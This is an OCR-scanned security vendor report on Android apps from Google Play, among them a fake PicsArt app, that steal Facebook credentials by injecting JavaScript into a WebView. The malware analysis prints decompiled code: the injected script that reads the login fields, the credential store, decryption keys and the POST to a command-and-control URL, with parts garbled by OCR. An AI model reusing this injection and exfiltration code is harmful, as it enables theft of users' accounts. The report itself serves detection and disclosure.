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Security Simplified

Android-based apps
caught stealing
Facebook credentials

Social media credentials are always a lucrative thing for threat actors. They use various techniques to get them. Some use overlays with fake
user interfaces, some use key-logging, and some use simple social engineering to trap users. Another way threat actors have been used in
the recent past is JavaScript code injection in WebView to steal Facebook credentials. The script directly hacked the entered Facebook login
credentials.

In Jan 2022, Quick Heal Security Labs saw many Facebook credentials stealer applications on Google Play Store, which use different
techniques to hide their JavaScript code. Android researchers named Facebook credential stealer “Facestealer.”

How dangerous is this?

In case of successful harvesting of Facebook credentials, the hacker gets access to the user’s personal information like personals details,
friend lists, relation details, activities, private posts & messages, Photo/Videos, life events, etc. and perform malicious activities such as
hackers can

* Impersonate to be a real user & use this data for malicious activities like phishing & Spoofing.

+ Use the compromised accounts to distribute spam messages, malicious links, malware files, etc.

» Blackmail the victim user with collected private sensitive data for financial or other benefits.

» Spoil the victim’s social reputation.

o Change the victim’s personal details.

o Post unwanted posts.

« Compromise victims’ other social media and professional accounts using the collected information.

So, losing Facebook credentials to hackers can be very dangerous, as it could lead to several unforeseen consequences.

What Did Quick Heal Security Do For This?

The Quick Heal Security Labs have reported the following applications to Google Play Store, and Google has taken prompt action (see Fig. 2)
and removed these applications from Google Play Store.

Fig. 1. Reported applications from Google Play Store with its download count
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Fig. 2. Mail about application report to Google and Google’s confirmation

Below is a technical analysis of these applications:

Technical Analysis:

#1. Application Name: PicsArt

MDS5: db95ae3cc6697bc9169fc9d6566a97bc

This application used various string encryptions to avoid AV engine detection and made analysis difficult for researchers.
This application:

* Opens with a Picsart screen (shown in the middle).
o Then redirects it to the next page, asking for Facebook credentials.
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Fig. 3. Application launch and ask for Facebook credentials
But in the background, this application makes a request to the URL — hxxps[:]//mago][.]gfoster[.]shop/PHP/submit/data.

Fig. 4. shows the code executed by the application to make this request.

((PostFormBuilder) OkHttpUtils.post().url(C®159a.f1823a)).addParams("'p_p", "com.rismas.tdaycam']).addParams([p_v", “1"-.addparams(, string.valueofi (
System.currentTimeMillis() / 1@8@) - 7508@)).build().execute(new CB18la(bVar)); ﬁ‘ E A n
' xecution code with parameters |
public static final String f1823a =["https://mago.qfoster.shop/php/submit/datas’} = URL

Fig. 4. Code for the above request

And application gets the encrypted response which is shown in Fig. 5

‘https:;‘fmagu.qfnster‘shnp POST /php/submit/datas v 200 3348 saipt 17:35:1511.‘.‘ « Request URL

Fig. 5. Response from c2 for application’s request

Received encrypted data is decrypted by application which is shown in Fig.6.
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Fig. 6. Decryption flow for response data

The application uses DES/CBC encryption followed by Base64 to get intermediate data for this encryption purpose. Then AES/CBC
encryption is followed by Base64 to get a final decrypted response.

Fig. 7 shows the final decrypted output of this process. This decrypted data is used by applications for further processes.
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Fig. 7. Final decrypted response data

The application saves this decrypted data in the SharedPreference file, i.e. x86m.xml, for future use.

Check Fig. 8. where data of x86m.xml is shown.

EixBEmdeil
I <?xml version='1.0' encodina="utf-8' atandalone='ves' 2>

Fig. 8. SharedPreference File x86m.xml data
Now, the application uses these values to get the Facebook URL value and JavaScript injection code.

Here functions C0151a.m855b() gives values from shared preference file “x86m.xml” then these values are decrypted by C0152a.m930a()

function-

javascript:window.assi.showAsd(document.getElementByld(‘m_login_email’).value,document.getElementByld(‘m_login_password’).va

Fig. 9 shows this, which decrypts Facebook URL values, JavaScript injection code, and execution it deploys.

> &fr = (5S¢ "-'\I’l’ﬁTﬁ‘Iu.mREﬁhr"\-ﬁl'-.'r". "dmer™ . "™\ I A Amcmmclcmmcinliinn fenmn ahacad ccafncaman

Fig. 9. Code for opening official Facebook page and JavaScript injection

Fig. 10. gives the flow of decryption of this data. It takes the value of the “desc” key from the shared preference file. Then it uses AES/ECB
encryption two times, followed by Base64 decryption to get the final decrypted JS code.

5/11



SharedPreference- file. x86m. yml

<string name="gesc">

zMd+beld3dbezulT Tr{Tngui 0Bb4 5+vI inx0KECO0S0cMEET Teggep
IJzERvoIMIdQtunul jEECWNZ 2K 52 IMVe K rERoVeaBIXZ 1 MOUCo V0D
IRGyrZkNjKStaym+GwAlWgWiMRcUr55BvLzCocneQyL+9JU4LESTC
IN/ULNEUBGILFOIRISVIH2QR I mawl, /WWER+8KLEaco0GTITFE] 2K sz aw=—

RES/ECE
KEY:C433390BB03279B7

fjuPCWX90E/Chrn&UVhelouY 1h+rC+6XEPNZEIGvAZr+0ve Zhop/his
L27(9iCJuyUjzqj TEELDOLCE T rw3MAbhDo 0+ 3LhXNA9uIFSqpd yGax1
PEa¥nTZo+kiBvipFisQchRFaelimt¥Gi630yQHFC/+DEIRSG2ISZDIe
iqGobLaDt/ iK1 LERG/KEyANRQ30W

LES/ECE
| [KEY:0F7B949E034BAECO)

amF2YENjcmlwdDp3aWskb3cuYiNza352aG9 30 NEEGR VY SV ZWS0Lmd 1
dEVSZIW1l1bnRCeUlkECAtE2xvI2luX2VEtYWladykudmFsdWIsZG9]dWll
|lenuZ 2VIRNR 1 bWVudEJS SWRoJ21 fbGonaWs feGFec3dvempnkS S2 YW1 Z5kT

Base&d UTF-§

Fig. 10. JavaScript injection code decryption flow
To get Facebook URL decryption function is called inside the webview.loadurl() function.
In this decryption function:

« |t takes the value of the “private” key from the shared preference file

e Then it uses AES/ECB decryption followed by Base64 to get intermediate data
+ Then DES/CBC followed by Base64 to get second intermediate data

Then AES/ECB followed by Base64 to get the final URL value

The above steps are explained in Fig. 11.
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SharedPreference- file- xB86m.xml
<string name="prwa">
LfZseMOmgzhZi

sBaPRsTx&Z50F

YEE/mICHIxBEL

SzwWVoiTN7yrL]

RES/ECB

Fig. 11. Facebook URL decryption Flow

After this, “ShowAsd” is the function called from JavaScript code.

This function takes the values and stores them in one of the shared preference files — “FILE_KPx86m”, as shown in Fig.12

@lavascriptInterface
public veoid showAsd(String str, String str2) {

if ('h.equals((String) C@15la.m855b("FI

(@151a3.m888m( "FILE_KP", "FILE_KPxB6m"

if (! TextUtils.isEmpty(str) && TextUtils.isEmpty(str2)) {
String h = outline.m3383h(str, ":", str2);

_KP™, “FILE_KPx8em", "")

FLOH

r

L

Fig. 12. Code which keeps collected information in one file
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Below code (Fig.13.) is preparing collected data for submission.

It takes data from the FILE_KPx86m file

o Then it first encrypts it with AES/CBC

Then with DES/ECB.

Then it sends this encrypted data to the C&C server

Fig. 14 explains this code.

/* renamed from: a */

/* renamed from: a */
public static String m936a() {
JS0NObject jSONObject = new JSONObject();
try {
if (!Celeea.fle29c) {

1
h

public static final String[] f1838a = {"acco”, "pwo", "ckcle", "pega”, "c_use"};

jSONObject.put("head"”, m938c(f1838a.toString(), ""));

String[] split = ((String) C@151a.m855b{"FILE_KP", "FILE_KPx86m",

JJ.Split(":"j;I

it (split.length == 2} {
String[] strérr = fl@38a;

jSONObject.put(“genta”, Celeda.fle27a);

Fig. 13. Encrypting collected data

return CATSTa.mARde ( SONOhiect . taStrinel .

f Accessing stored data from shared

jSONObject.put(strArr[@], split[e]); preference
jSONObject.put(strArr[1], split[1]);

1

I

string[] strArr2 = fle3da;

jSONObject.put(strArr2[2], C@151a.m355b( "@ADS2D26A4372751", strArr2[4], ""));

"RANSINPARALZTITSIT. truel:

HazhMap hashMap = new HashMap();
hashMap.put(C@l6@a.fle3ed + "1.8"
C@179b bVar = new C@179b();

MediaType mediaType = C@165e.f1@35a;

, CPl69a.m936a());

< Execution code

((PostFormBuilder) OkHttpUtils.post().url(C8159a.F1825¢)).params((Map) hashMap).build().execute(new CO162b(bVar));

public static final String f1825c = “https://mago.qfoster.shop/php/postdata™; « Post URL

Fig. 14. Posting collected data to c2
#2. Application name: smart scanner

MDS5: 38a72e3b36c4b44bf22c0ce78ec668d1

The second application, i.e. smart scanner, which we have reported, is relatively less complex.

This application opens with a smart scanner default screen (shown in the middle of the image). After clicking the login with Facebook button,

it opens the third screen, asking a user to log in with Facebook credentials.
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Fig. 15. Smart scanner application Launch
This application is comparatively less encrypted than the above application.
As shown in the first part of Fig. 16,

« The application opens the official Facebook page.

« Here it adds a JavaScript interface with the name “jshandler.”

« In part 2, we can see the JavaScript code to get email and password values.
o Inpart 3, it creates a JSON object with this data,

e Inpart 4, it sends it to c2.
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public void onCreate(Bundle bundle) |

cumer anCeeatelhondle

Fig. 16. Application malicious code

10Cs:

|ﬁ1] Opens Legitimate Facebook Page

Quick Heal Security Labs detect these apps with variants of Android. Facestealer

Name

Package Name

MD3

Detection

Picsart

COm.artpics.Campro

db93ae3ccH697bc9169fc9d6566a9Tbe

Android FaceStealer A6be3

-~

. . -

M mm md A a4 4 aa mm oA me

e

A4 e 4 1 PRETA

Social media credentials theft is not seen as a severe issue as financial credentials theft. As we stated earlier, this is a challenging issue, and
users should understand the problem involved.

Malware authors spread these malware applications on the Google Play Store in photo editing applications, pdf applications. Users easily
download these types of applications without giving much thought. Users should avoid logging in using social media for such kinds of

applications.

How can users secure their Facebook account?

Users should use features provided by Facebook to secure their account, such as

o Two-factor authentication

o Trusted contacts
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These features may help users to avoid getting hacked by hackers.

Quick Heal Security Lab continuously checks applications from Google Play Store for such malware.
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